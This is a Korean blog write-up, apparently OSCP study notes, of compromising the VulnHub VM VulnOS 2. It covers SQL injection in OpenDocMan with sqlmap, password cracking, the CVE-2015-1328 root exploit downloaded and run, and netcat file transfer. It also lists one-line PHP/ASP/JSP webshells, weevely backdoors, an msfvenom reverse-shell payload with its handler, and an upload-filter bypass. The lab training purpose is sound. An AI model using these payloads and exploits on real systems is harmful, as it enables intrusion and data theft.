[목차]

 

 

1. 타깃과 목표

2. 작업 환경

3. 작업 절차

4. 작업 결과

5. 작업 과정 풀이

6. 추가 공격 방법

 

 


 

 

 

[타깃과 목표]

 

 

타깃 : https://www.vulnhub.com/entry/vulnos-2,147/

목표 : 회사의 웹사이트를 침투해 시스템의 루트 권한을 탈취하고 깃발을 읽어라(?)

 

 


 

 

[작업 환경]

 

 

가상환경 툴 : Virtual Box

공격 서버 : Kali Linux

프록시 서버 : burpsuite

 

사용 툴 : netdiscover / nmap / amap / nikto / dirb / enum4linux / wpscan

/ searchsploit / curl / hashcat / john the ripper / hydra / webshells

 

 

 


 

 

[작업 절차]

 

 

타깃 대상 설정 -> 타깃 정보 수집 ->

타깃 서버의 서비스 분석 및 취약점 찾기 ->

취약점에 맞는 공격 방법 설정 및 활용 ->

공격 성공 후 전체 과정 문서화 작업 및 보고서 작성

 


 

 

[작업 결과]

 

 

발견된 취약점 : SQL Injection

 

사용된 공격 방법 : SQL Injection / privilege escalation 

 

 

 


 

 

 

[작업 과정 풀이]

 

 

 

1. 정보 수집 (Reconnaissance / Information Gathering)

 

 

# export ip=192.168.10.5

# nmap -sV -O

22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 1024 f5:4d:c8:e7:8b:c1:b2:11:95:24:fd:0e:4c:3c:3b:3b (DSA)

| 2048 ff:19:33:7a:c1:ee:b5:d0:dc:66:51:da:f0:6e:fc:48 (RSA)

| 256 ae:d7:6f:cc:ed:4a:82:8b:e8:66:a5:11:7a:11:5f:86 (ECDSA)

|_ 256 71:bc:6b:7b:56:02:a4:8e:ce:1c:8e:a6:1e:3a:37:94 (ED25519)

80/tcp open http Apache httpd 2.4.7 (Ubuntu)

6667/tcp open irc(irc가 뭐지?) ngircd

 

: 열린 포트는 총 3개로

22번 ssh / 80 http / 6667 Irc

 

 

 

# 80 포트 방문

 

# 회사의 웹사이트를 침투해 시스템의 루트 권한을 탈취하고 마지막 깃발을 읽어라!

 

 

 

# 링크를 클릭 후 웹으로 이동

 

# happy path 시간

 

 

 

# 이곳저곳 확인해보니

페이지 경로가 파라미터로 노출되는 것으로 보아

GET 방식으로 보이며 버프 스위트로 확인하니

역시나 맞았다.

 

짐작건대 해당 취약점을 이용해

다양한 힌트를 얻어낼 수 있을 것이다.

 

 

 

# 곧이어 사용자 입력이 가능한 곳은 없는지 확인해 보았고

상품을 카트에 담는 페이지를 발견했는데 카트에 추가해도

추가한 품목을 확인하는 카트 코너가 보이지 않았다.

 

 

# F12 inspector를 눌러 해당 부분을 확인해보니

'your cart' 부분이 숨겨져 있음을 알 수 있다.

 

 

사실 처음에는 못 보고 지나쳤고

막 클릭하다 어느 부분이 눌리길래

드래그해보니,

요로코롬 숨겨져 있었던 것!

cart를 누르면 장바구니 페이지로 이동할 수 있다.

 

 

 

# 들어가보니 사용자 입력이 가능한 부분이 있었고

일단 확장자가 php/jsp/asp 계열이 아니기 때문에

sql injection 공격은 안될 것 같았지만

혹시나 해서 시도는 해봤고 당연히

아무 정보도 얻을 수 없었다.

 

하지만 사용자가 입력한 부분이 그대로 출력되는 취약점을 발견했다.

버프 스위트로 해당 부분 코드를 살펴보면

 

정확히 위 부분인지는 모르겠으나 코드 분석은

해당 취약점으로 심각한 문제가 발생한 경우

하기로 한다.

 

시간상 대충 저렇게 되어있는 것만 확인하고 넘어간다.

 

 

 

 

# 다시 카트 페이지로 돌아와서

이번에는 사용자 입력이 가능한 곳을

뒤져보기로 했다.

 

 

Quantity 부분에 숫자가 아닌 특수문자/글자 등을

넣어보니

 

 

숫자만 넣을 수 있다고 나온고

대충 숫자를 많이 넣어보고 엔터를 처보니

 

 

반가운 에러 메시지를 만날 수 있었다.

이를 통해 뭔가 할 수 있을까?

 

 

# 이번에는 버프 스위트로 반환되는 코드들을 보다가

다른 특이사항을 발견했는데, 일단 페이지 하나를 요청했을 뿐인데

response가 여러개가 돌아온다.

 

 

혹시나 하고 intercept 기능을 켜

하나씩 살펴보는데

 

 

user-admin, password 등의

민감한 단어들이 노출되는 것으로 보아

페이지 어딘가에 분명 로그인 관련된 부분이 있는 것 같다.

 

 

 

# 해서 조금 더 다른 페이지들을 살펴보다가

아무것도 없는 듯 보였던 Documentation 페이지를 드래그해보니

비밀 경로 /jabcd0cs + 아이디/비번이 적혀 있는 것을 발견!

보안상의 이유로 감춰 뒀단다.

 

 

곧바로 접속해보면

 

이런 php 페이지가 나왔다.

페이지는 여전히 GET 방식으로

파라미터 값이 그대로 url에 노출된다.

 

 

참고로 이 페이지를 발견하기 전에 혹

숨은 디렉터리는 없는지 확인차 dirb로 돌렸었는데

아무것도 안 나왔었다.

 

# dirb $ip /usr/share/wordlists/dirb/common.txt

단어 정보를 업데이트하고 다음에 다시 돌려봐야겠다.

 

 

# 암튼 로그인 페이지를 보면 바로 sql injection부터 해보고 싶어진다.

다양한 구문을 시도해 봤지만 에러 문구는 동일하다.

하지만 ID/PW 입력 길이에 제한이 없는 듯하다.

혹시 모르니 로그인 데이터 값은 얻고 가자.

 

frmuser=%27&frmpass=%27&login=Enter

 

id = frmuser

pw = frmpass

 

 

그리고 guest/guest로 로그인!

 

 

*참고로 로그인 요청 시 어딘가로 리다이렉션 된다는 것을 확인할 수 있었는데

응답 부분을 보니

그냥 별거 아닌데 일단 확인해 봤다.

 

 

 

# 로그인 후 페이지를 둘러보니

 

* 메인 페이지

 

 

* 검색 페이지

 

 

* 파일 업로드 페이지

 

 

* 개인 정보 수정 페이지

 

 

크게 네 가지로 이루어져 있고

XSS 공격과 파일 업로드 공격의 가능성이 보인다.

 

일단 간단한 스크립트 구문으로 확인해 보았는데

시큐어코딩은 되어있는 듯하다.

 

 

 

# 취약점 진단 시간이 아니기 때문에 일단 넘어가고

먼저 개인 정보 수정 페이지부터 뒤져본다.

 

 

 

정보를 수정해보면

관리자가 아니기 때문에

수정이 불가하다고 나온다.

 

 

 

 

그리고 수정 페이지를 보면

admin 유저로 변경할 수 있는 항목이

있지만 체크가 불가능하다.

 

 

 

# 이번에는 메인 페이지를 뒤져본다.

 

 

아무 게시글이나 클릭해 보면서

url을 체크해 봤는데 고맙게도

id 값이 파라미터에 노출되는 것을

확인했다.

 

 

곧바로

id 값에 싱글 쿼트를 하나 붙여

SQL Injection을 시도해 보니

 

 

반가운 메시지!

 

이제 이걸로 DB 정보를 추출할 수 있을 것 같은데

(Let's run quickly to enumerate username and password for admin)

 

일일이 하나씩 대입해 시도해 보는 것도 좋겠지만

하나하나 잘 찾아지지가 않고 시간이 오래 걸린다.

뭔가 다른 방법이 있을듯하다.

 

 


 

 

# 어떤 가능성들을 확인하게 되면 의례

놓치는 부분이 생기기 마련인데

이번의 경우 첫 화면부터 대놓고 보여주는

관리 시스템의 버전 정보 같은 경우가

그렇다.

 

 

친절하게 페이지 여기저기, 그것도 자세히

'OpenDocMan v1.2.7'라며

버전 정보까지 보여주고 있었는데

눈에 들어오지도 않았었다.

 

 

꼼꼼히 확인하느라 이런저런 것을 살피는 작업은

필요했다고 생각하나, 시간에 제한이 있는 시험에서

이러면 안 될듯하다. 정보 수집 단계에서는

한 곳에만 집중하는 실수에 빠지지 않도록 주의하고

가능성을 열어두어 보다 넓은 범위에서

정보들을 수집하는 습관을 들여야 하겠다.

 

 

 

아무튼 일단 해당 관리 시스템과 관련한 취약점은 없는지

exploit DB에 접속해 검색해본다.

 

 

 

 

역시나 나온다.

내용을 살펴보면 대충

 

SQL Injection 및 부적절한 액세스 제어가 가능한 취약점인듯하다.

각각의 사용 방법이 함께 적혀 있으니 시도해보면 되겠다.

 

 

 

1) SQL Injection

http://[host]/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,v

ersion%28%29,3,4,5,6,7,8,9

DB 정보 및 유저 정보 확인이 가능하다.

(목록에서 admin은 아래 과정을 통해 내가 만든 새 계정)

 

 

 

2) Administrative privileges

/signup.php"

<form action="http://[host]/signup.php" method="post" name="main">

<input type="hidden" name="updateuser" value="1">

<input type="hidden" name="admin" value="1">

<input type="hidden" name="id" value="[USER_ID]">

<input type="submit" name="login" value="Run">

</form>

 

 

이를 활용해 계정을 생성해 보면

 

 

랜덤 패스워드가 주어지며 계정 생성이 완료된다.

 

취약점 확인이 되었으니 공격을 해볼 차례이다.

 

 

 


 

 

 

2. 침투 (penetration)

 

 

 

# 칼리에서 [sqlmap]을 사용해 DB 정보를 알아내자 :

 

전체 DB 이름 확인

# sqlmap -u "http://$ip/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,v

ersion%28%29,3,4,5,6,7,8,9" --dbs --batch

 

(sqlmap --threads 10 --url "http://192.168.110.102/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user*")

 

 

 

현재 DB 이름 확인

# sqlmap -u "http://$ip/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --current-db

 

 

 

DB별 테이블 목록 확인

# sqlmap -u "http://$ip/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --tables

 

 

 

현재 DB 테이블의 전체 데이터 덤프

# sqlmap -u "http://$ip/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dump

(sqlmap -u 'http://192.168.0.100/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user' -p add_value -D jabcd0cs --dump)

user : webmin

password : b78aae356709f8c31118ea613980954b

 

 

 

# 암호를 얻었으니 크랙 작업을 한다.

먼저 해시 종류를 알아본다.

 

# hash-identifier

MD5 알고리즘임을 알았다.

 

 

 

# 해당 해쉬값을 아래 사이트에서 복호화 시켜보면

http://www.md5decrypt.org/

 

'webmin1980'이다.

 

 

이로써 필요한

관리자의 아이디와 비번을 모두 알아냈다.

 

 

 

처음 포트 검색할 때

22번 ssh 포트가 열려있음을 확인했으니

다른 공격 방법은 추후에 시도해보기로 하고

우선 ssh로 해당 서버에 접속해 본다.

 

 

# ssh webmin@$ip

성공이다!

 

 

보통 들어오자마자 체크해야 할 것들 중 하나가 바로

시스템 버전인데 친절하게 적혀있다.

Ubuntu 14.04.4 / Linux3.13.0-24-generic

 

 

혹 확인하는 것을 잊은 경우에는

# uname -a

명령어로 확인하면 된다.

 

 

조금 후에 해당 시스템의 취약점을

찾아볼 것이다.

 

 

우선 프롬프트를 보기 좋게 변경해 주자.

# python -c "import pty ; pty.spawn('/bin/bash')"

 

파이썬의 pty 모듈을 사용해

spawn 함수로 bash shell을 띄워준 것!

 

 

원격으로 침투해 쉘을 얻었을 때

쉘 표시가 안 보이는 경우가 종종 있는데

그럴 때 유용하게 쓰이니 꼭 기억하자!

 

 

# 일단 한번 여기저기 기웃거리고

ls -al 명령어로 숨겨진 디렉터리도

찾아보고 접근 가능한 곳들의 .bash_history도

찾아본다.

 

 

특별한 점은 없어 보이니

시스템 취약점을 찾아보도록 한다.

 

 

exploit-db에 들어가

해당 버전을 검색해 본다.

 

 

관련 데이터가 보인다.

 

위 이미지 가장 하단 자료의

코드를 받아 사용해 볼 텐데

 

 

이 취약점은 CVE-2015-1328로 분류되며

overlayfs를 사용할 때 권한 상승이 가능한 취약점으로

 

우분투에서 overlayfs를 사용 중, 상단 파일 시스템 디렉터리에서 파일을 생성 시

overlayfs가 파일의 권한을 제대로 확인하지 않아 발생하는 취약점이라고 한다.

 

FS_USERNS_MOUNT 플래그가 "CONFIG_USER_NS = y"를 가진

권한이 없는 프로세스에 의해 악용이 가능하다고 한다.

 

 

 

# 우선 받는 방법은 두 가지다.

 

 

(1) 접속 중인 타깃 서버에서

wget 명령어로 직접 받아도 되고

# wget https://www.exploit-db.com/download/37292

 

 

 

(2) 공격자 서버에 받은 후

타깃 서버로 전송해 사용해도 된다.

# searchsploit -m 37292

 

 

어느 경우던 해당 공격 코드는

취약 서버에서 컴파일 시킨 후

실행시켜야 하니 본인에게

편한 걸 선택하면 된다.

 

 

여기선 연습을 위해 둘 다 해본다.

 

 

(1) 우선 타깃 서버에 wget 명령어로

직접 공격 파일을 받았다. 이제

해당 파일 이름을 변경해 주고 컴파일 시킨 후

프로그램을 실행시킨다.

 

# mv 37292 shell.c

# gcc -o attack shell.c

# ./attack

 

프로그램을 실행시키자마자

root 권한을 얻었다.

 

 

 

 

(2) netcat을 이용해 타깃 서버로 공격 코드 전송

공격 서버에 받은 37292.c 파일의 이름을 변경 후

7979 포트를 열어 해당 코드를 띄워 놓는다.

 

# nc -lvp 7979 < attack.c

 

공격자가 공격 코드를 준비해두었고

리슨 상태로 상대방의 접속을 기다리고 있다.

 

 

이번에는 침투한 타깃 서버의 터미널에서

작업을 이어간다.

 

 

이런류의 작업은

권한 등의 문제가 있기 때문에

꼭 tmp 폴더로 이동한 후 진행해야 한다.

 

 

# cd tmp

# nc -nv 192.168.10.4 7979 > get.c

(nc -nv 공격자 IP 공격자 port > 받으려는 파일 이름

: 공격자 쪽에서 보내는 파일명은 attack.c였지만

받는 쪽에서는 이름을 마음대로 변경해도 된다.)

 

 

# 연결에 성공하면 두 터미널이 상호 작용한다.

접속 끊고 ls 명령어로 파일 받아졌는지 확인

정상적으로 파일이 받아졌으면

컴파일 후 실행하면 된다.

 

# gcc -o attack get.c

# ./attack

루트 권한을 획득했다!

 

 

작업 편의를 위해

위에서 설명했던 프롬프트 작업을

복습 차 다시 한번 해주자.

 

 

# python -c "import pty;pty.spawn('/bin/bash')"

 

 

 

 


 

 

 

3. CTF

 

 

깃발 찾는 일만 남았고 금방 찾았다.

 

 

 

 

헌데 뭔가 허무하다.

깃발은 찾았지만 아직

관리자의 비밀번호를 찾지 못했다.

 

 

그래서 더 찾아보기로 한다.

 

 

webmin 사용자로 접근이 불가능 했던

vulnosadmin 폴더에 들어가니

'r00t.blend'라는 파일이 있다.

 

 

실행시켜보니 권한이 없다고 나온다.

그래서 권한을 주고 어떤 파일인지 살펴본다.

 

 

# chmod 700 r00t.blend

# file r00t.blend

 

 

 

파일은 32비트 리틀 엔디안 2.77.버전으로 저장된 'Blender3D' 파일이란다.

* 리틀 엔디언은 낮은 주소에 데이터의 낮은 바이트(LSB, Least Significant Bit)부터 저장하는 방식

 

 

구글링해보자

 

 

 

 

3D 모델링 프로그램인듯 하다. 받아본다.

 

 

 

 

압축해제

 

# xz -d blender-2.92.0-linux64.tar.xz

# tar -xvf blender-2.92.0-linux64.tar

#./blender

 

 

이런 프로그램이다.

한국어 지원도 된다.

 

 

타깃 서버에서 해당 파일을 옮긴후

구동시켜보자.

 

 

(타깃서버)

# nc -lvp 7979 < r00t.blend

(공격서버)

# nc -nv 192.168.10.5 7979 > r00t.blend

 

 

 

정상적으로 받아졌다.

돌려보자.

 

 

뭐 어떻게 쓰는건지 모르겠으나

아무튼 저런 암호같은 문자가 있다.

 

'bl2fg//drg'

 

딱 봐도 패스워드로 보이는데

이게 루트 암호인가?

 

실험해 봤지만 실패.

 

 

그래서 좀더 만져보니 숨겨져있는 글자가 하나 더 있던 것인데

툴을 어떻게 쓰는지 모르지 시간을 허비했다. 암튼,

 

 

 

숨은 문자를 찾았다.

 

 

다시 시도!

 

 

$ su - root

password : ab12fg//drg

 

 

성공이다.

 

이로써 루트 암호까지 얻었다!

 

 

 


 

 

 

[추가 공격 방법]

 

 

 

깃발은 찾았지만 아직 시도해보지 못한

공격 방법이 더 있는 듯 보였다.

 

해서 공부할 겸 몇 가지 더 시도해 본다.

 

 

1. 처음 침투에 성공했을때

post.tar.gz 파일이 하나 있었고

압축을 해제해보니

 

 

post 폴더 아래 무수히 많은

hydra 관련 파일이 있는 것이

발견되었다.

 

 

bruteforce 작업이라도 한 건지,

혹시 몰라 현재 기동중인 네트워크 포트를 검색해본다.

 

 

# netstat -tul

 

 

# netstat -antp

 

 

 

nmap으로 찾았던 포트 외에

3306번 포트 mysql과

5432 포트 postgresql 이

열려 있는것으로 확인된다.

 

 

해당 포트로 접속해 권한을 탈취할 수 있을까?

 

 

hydra로 패스워드 크랙킹을 할 수도 있겠지만

일단 postgresql로 접속해 본다.

 

 

# ssh webmin@192.168.10.5 -L 5432:localhost:5432 (-L localhost)

 

postgresql 포트로 접속한 상황,

msfconsole로 공격할 수 있는 방법이

있을 듯 하다.

 

 

터미널을 하나 더 띄워

# msfconsole -q

 

postgresql 로그인 관련 스캐너를 찾아본다.

msf> search postgres

msf> use auxiliary/scanner/postgres/postgres_login

 

 

이 모듈은 PostgreSQL 인스턴스에 대해 인증을 시도하는데

USER_FILE, PASS_FILE 및 USERPASS_FILE에 표시된

옵션을 토대로 사용자 이름 및 비밀번호 조합을 유추하는

스캐너이고ㅡ 암호는 일반 텍스트 또는 MD5 형식의

해시여야 한다고 한다.

 

 

일단 포트는 기본값인 5432로 맞춰져 있고

위에서 ssh 접속 연결을 localhost:5432로 세팅해 두었으니

RHOST 값 역시 localhost인 127.0.0.1로 설정해줘야 한다.

 

 

돌려보자!

로그인 성공 사례가 하나 나왔다.

 

 

postgres의 아이디와 비번을 찾았으니

pg_dumpall 명령어로 전체 백업을 해보고

엑세스 할 수 있는 모든 데이터베이스의 정보를

추출 해본다.

 

 

# PGPASSWORD="postgres" pg_dumpall -U postgres -h localhost -p 5432

 

 

 

 

하단부에서 좋은 정보를 얻었다!

액세스 권한이 없어 살펴볼 수 없었던

vulnosadmin 유저의 패스워드를 찾은것!

 

 

해당 유저로 전환해본다.

 

 

$ su - vulnosadmin

password : c4nuh4ckm3tw1c3

성공이다.

 

폴더를 검색해보면 위에서 작업한

블렌드 파일이 보여지고 다음 절차는

동일하다.

 

 

 

 

 


 

 

2. 파일 업로드

 

 

 

먼저 기본 쉘코드 생성 및 사용 방법을 살펴본다.

 

 

ㄱ. 칼리에 기본 내장되어 있는 쉘 코드 사용

# /usr/share/webshells 경로에 가보면

 

 

다양한 asp, jsp, php 등등에 사용할 수 있는

간단한 백도어 코드들이 있는데 이 외에도

한줄짜리 쉘 코드들은 인터넷에서 쉽게 찾을 수 있다.

 

 

PHP :

<?php system($_GET[\'cmd\']); ?>

<?php @eval($_GET[\'cmd\']); ?>

<?php shell_exec($_GET[\'cmd\']); ?>

<?php echo passthru($_GET[\'cmd\']); ?>

 

ASP :

<% eval request("cmd") %>

 

ASP.NET :

<% @ Page Language="Jscript" %> <%eval(Request.Item["cmd"],"unsafe"); %>

JSP : <% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

 

 

 

 

 

ㄴ. 칼리에서 weevely라는 툴을 사용해

별도로 백도어 코드를 만들어 사용

 

# weevely generate password123 /attack/backdoor.php

 

생성 후 해당 코드를 업로드,

업로드 된 경로를 확인 후(파일을 별도로 실행할 필요 없음)

공격자 터미널에서 weevely를 통해 접속하면 연결에 성공한다.

 

# weevely http://192.168.10.134/dvwa/hackable/uploads/backdoor.php password123

 

 

 

 

 

ㄷ. msfvenom으로 payload 생성

 

# msfvenom --list payloads | grep php

 

# msfvenom -p php/meterpreter/reverse_tcp --list-options

# msfvenom --list formats

# msfvenom -p php/meterpreter/reverse_tcp \

LHOST=192.168.10.60 LPORT=4444 \

-f raw > PHONE_HOME.php

 

# vi PHONE_HOME.php

들어가면 코드가 주석처리 되어있으니

처음 부분의 '/*'을 삭제 후 사용한다.

 

reverse_tcp로 payload 만들었으니 나에게 응답이 올 것이다.

그러므로 거기에 반응할 리스너를 추가로 만들어 줘야한다.

 

# cat << EOF >> php_meterpreter_reverse_tcp.rc

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set LHOST 192.168.10.60

set LPORT 4444

set ExitSession false

exploit -j -z

EOF

 

확인 작업을 해 준뒤

# cat php_meterpreter_reverse_tcp.rc

 

연결시도

# msfconsole -q -r php_meterpreter_reverse_tcp.rc

> jobs : 내용 나옴

> sessions : 내용 없음

 

 

위에서 만든 PHONE.HOME.php 파일을 업로드한다.

업로드된 경로로 이동해 해당 파일을 실행시키고

터미널로 와서

> jobs : 내용없음

> sessions : 세션이 하나 생겼다.

> sessions -i 1: 세션사용

> shell : shell 전환

 

명령어 입력

 

 


 

 

이제 백도어 프로그램을 업로드해

시스템을 제어해보자.

 

이번 실습에서는

칼리에 내장 되어있는 기본 백도어 프로그램인

'php-reverse-shell.php'를 사용한다.

 

 

# 해당 파일을 작업폴더로 복사한 후

코드 내용 중 ip와 포트번호를 수정한다.

 

해당 파일을 업로드 해보자.

 

 

타깃 서버 메뉴 중 'Add Documnet'에

사용하려는 php 파일을 업로드.

 

 

 

그러면

파일 타입이 맞지 않아 업로드가 불가하다.

 

 

우회해보자

 

 

업로드 하기 전 파일의 확장자에 jpg를 추가,

데이터 템퍼링 작업을 해준다.

 

 

728x90

'OSCP > Vulnahub' 카테고리의 다른 글

6. Brainpan  (0) 2021.03.14
5. SickOs.1.2  (0) 2021.03.10
3. Stapler  (0) 2021.02.10
(번외) Stapler 서버 설치 해프닝  (0) 2021.01.23
2. FRISTILEAKS: 1.3  (0) 2021.01.21

+ Recent posts